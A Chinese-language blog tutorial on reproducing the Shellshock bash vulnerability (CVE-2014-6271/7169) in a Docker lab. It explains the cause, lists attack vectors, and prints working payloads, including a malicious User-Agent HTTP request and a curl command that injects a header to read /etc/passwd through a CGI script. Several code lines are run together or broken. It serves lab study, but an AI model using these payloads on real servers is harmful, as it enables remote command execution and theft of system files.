详细的漏洞复现:Shellshock CVE-2014-6271 CVE-2014-7169

目录前言漏洞原理利用方式复现过程1.环境准备(1)为容器配置固定IP地址(2)查看bash版本2.本地验证:测试镜像系统是否存在漏洞3.远程模拟验证(原理验证)(1)查看容器apache服务配置(2)编辑测试文件(3)重启apache服务(4)远程测试4.遇到的问题(1)Kali无法开启伪终端-->Ubuntu(2)远程访问需要容器的IP地址-->为容器配置固定IP地址(3)镜像未安装...

详细的漏洞复现:Shellshock CVE-2014-6271 CVE-2014-7169

目录

  • 前言
  • 漏洞原理
  • 利用方式
  • 复现过程
    • 1. 环境准备
      • (1) 为容器配置固定IP地址
      • (2) 查看bash版本
    • 2. 本地验证:测试镜像系统是否存在漏洞
    • 3. 远程模拟验证(原理验证)
      • (1) 查看容器apache服务配置
      • (2) 编辑测试文件
      • (3) 重启apache服务
      • (4) 远程测试
    • 4. 遇到的问题
      • (1) Kali无法开启伪终端-->Ubuntu
      • (2)远程访问需要容器的IP地址-->为容器配置固定IP地址
      • (3) 镜像未安装vim,且安装出错-->安装需更新源
      • (4) vim自动创建多层目录下的文件时出错-->需要手动创建好中间路径
      • (5) 远程测试时无法连接-->给容器配置端口映射
      • (6) 可以连接后HTTP 500并且没有返回应有的信息-->apache错误日志发现脚本无法执行,修改脚本错误
  • 总结
  • 参考资料

前言

巨详细的复现过程等你来!因为遇到了很多问题,因此目录做的详细一些,方便大家查看和搜索对自己有用的内容。

复现过程是在我踩过很多坑后按照应该做的步骤梳理后的流程,目的是希望你可以一次成功不用遇到问题后各种填坑。如果你遇到不明白我为什么要采取一些看似无关的环境配置步骤的情况,可以到4. 遇到的问题中看我的探索过程,希望可以提示你。


漏洞原理

Bash支持通过进程环境导出shell变量和shell函数到子进程的其他的bash实例中。现有的bash版本使用环境变量实现这一过程。环境变量以函数名命名,以“() { }”作为环境变量的值传送函数定义。由于bash处理函数定义后仍会继续解析和执行跟在函数定义后的shell命令导致远程任意代码执行。

核心原因:没有严格限制输入的边界,没有合法化的参数判断。

详见:https://seclists.org/oss-sec/2014/q3/650

安天实验室对CVE-2014-6271破壳漏洞进行了详细的分析,且提供了其他参考资料。

例子:

VAR=() { ignored; }; /bin/id

当上述环境变量导入bash进程时将执行/bin/id

解决方案:安装补丁。在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测。(CVE-2014-6271 的修补不够完善,导致CVE-2014-7169。)

利用方式

需要以下条件:

  1. 远程服务会调用bash。(创建bash子进程)
  2. 远程服务允许用户定义环境变量。
  3. 远程服务调用子bash时加载了用户定义的环境变量。

攻击向量:

  1. 对CGI脚本的HTTP请求(bash命令可能出现的位置有:请求方法,路径,服务器协议,Header的值(Referer、host、UserAgent等)。还可能出现在查询字符串,查询字符串变量名)
  2. OpenSSH(通过AcceptEnv,TERM,SSH_ORIGINAL_COMMAND)
  3. 涉及其他需要额外编程设置的环境变量的情况

复现过程

这部分的核心流程是按照安天实验室的一篇分析文档做的,其中增加了我填过的坑,帮助大家更顺利的进行复现。最近看了几篇安天的分析,安天在我心里的地位噌噌地上涨,感恩。

提示1:我在复现过程中遇到了很多坑,如果你按流程走出现问题,可以去4. 遇到的问题找找有没有对应的解决办法。

提示2最好把流程都看完再操作!可以对照4. 遇到的问题浏览各步骤可能存在的问题,做到心中有数,提前应对。中间遇到好多坑,先大致看完流程可能会少走弯路。

Nessus was able to exploit the issue using the following request :

GET /xampp/cgi.cgi HTTP/1.1
Host: 目标IP
Accept-Charset: iso-8859-1,utf-8;q=0.9,;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent:
() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id;
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /

1. 环境准备

本文使用虚拟机里的Ubuntu系统,docker,现有的shellshock镜像hmlio/vaas-cve-2014-6271

(1) 为容器配置固定IP地址

为了后续访问方便,先为容器配置固定的IP地址,可以参考这个教程。(当然也可以不设置固定)

  • 首先创建自定义网络:

    docker network create --subnet=172.18.0.0``/16 mynetwork

  • 在创建docker容器时为其配置IP地址和端口映射

    docker run -it --net mynetwork --ip 172.18.0.3 -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash

    注意:确保创建容器时没有使用相同端口映射的容器正在运行,否则将提示错误,无法创建容器。出现该问题时,可以使用dockr ps查看正在运行的容器,使用docker stop 容器ID将其停止即可。

(2) 查看bash版本

bash --version

确认是存在shellshock漏洞的bash版本。

2. 本地验证:测试镜像系统是否存在漏洞

测试payload:env x='() { :;}; echo vulnerable' bash -c “echo this is a test“

测试发现镜像系统存在漏洞。

3. 远程模拟验证(原理验证)

以下是针对我们选用的镜像进行复现的完整流程,是我多次从坑里跳出来后重新梳理总结的,具体的解决问题的思路摸索过程可以到4. 遇到的问题查找。

(1) 查看容器apache服务配置

​ apache的配置文件是/etc/apache2/sites-enabled/000-default。

​ 我用的镜像没有vi和vim,因此需要自己下载安装。

​ 首先要更新源,然后再安装vim。如下,将每条命令顺序单独执行。(参考这个操作就ok了。必须感谢!)

mv /etc/apt/sources.list /etc/apt/sources.list.bakecho “deb http://mirrors.163.com/debian/ jessie main non-free contrib“ >/etc/apt/sources.listecho “deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib“ >>/etc/apt/sources.listecho “deb-src http://mirrors.163.com/debian/ jessie main non-free contrib“ >>/etc/apt/sources.listecho “deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib“ >>/etc/apt/sources.list#安装更新源apt-get update #安装vimapt-get install vim

​ 安装完成后

vim /etc/apache2/sites-enabled/000-default

​ 打开配置文件,找到下面两句:

DocumentRoot /var/www
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin

​ 修改为:

DocumentRoot /var/www/html 
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/

​ 添加:

AddHandler cgi-script .cgi .pl .sh .py

​ 修改完成的配置文件如下:

  ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/  <Directory “/var/www/html/cgi-bin/“> AddHandler cgi-script .cgi .pl .sh .py AllowOverride None Options  ExecCGI -MultiViews  SymLinksIfOwnerMatch Order allow,deny Allow from all  </Directory>

注意:开始我以为<Directory “/var/www/html/cgi-bin/“>路径要与上一行的DocumentRoot路径一致。但是我测试发现如果使用原有的<Directory “/usr/lib/cgi-bin“>也是可以的。

(2) 编辑测试文件

注意:vim创建多层目录下的文件时,需要手动创建好中间路径,否则编辑后无法保存。

​ 创建多层目录:mkdir -p /var/www/html/cgi-bin

vim /var/www/html/cgi-bin/test.sh

#!/bin/bashecho “Content-type: text/html“echo ““

一定要把#!/bin/bash放在首行,不能有空行!!!

​ 给测试文件赋予执行权限,ls -l /var/www/html/cgi-bin/test.sh查看文件权限。

​ 更改文件权限:chmod 777 /var/www/html/cgi-bin/test.sh

”777“表示读写执行权限,如果想了解不同权限的对应数字,具体可以搜索Linux文件权限去学习。

(3) 重启apache服务

/etc/init.d/apache2 restart

​ 使用service apache2 restart也是可以的。

(4) 远程测试

​ 开启一个新的终端,使用如下命令进行远程测试:

curl -H 'x: () { :;};a=/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I

​ 命令中可改变a=/bin/cat /etc/passwd;echo $a为任意命令进行执行。

当我们测试成功后,若把容器提交为镜像,再次用成功的镜像创建容器后也要重启apache服务才能被远程curl。

docker ps查看正在运行的镜像,记录容器ID。

docker commit 容器ID 新的镜像名提交镜像。

源文地址:https://www.guoxiongfei.cn/cntech/26839.html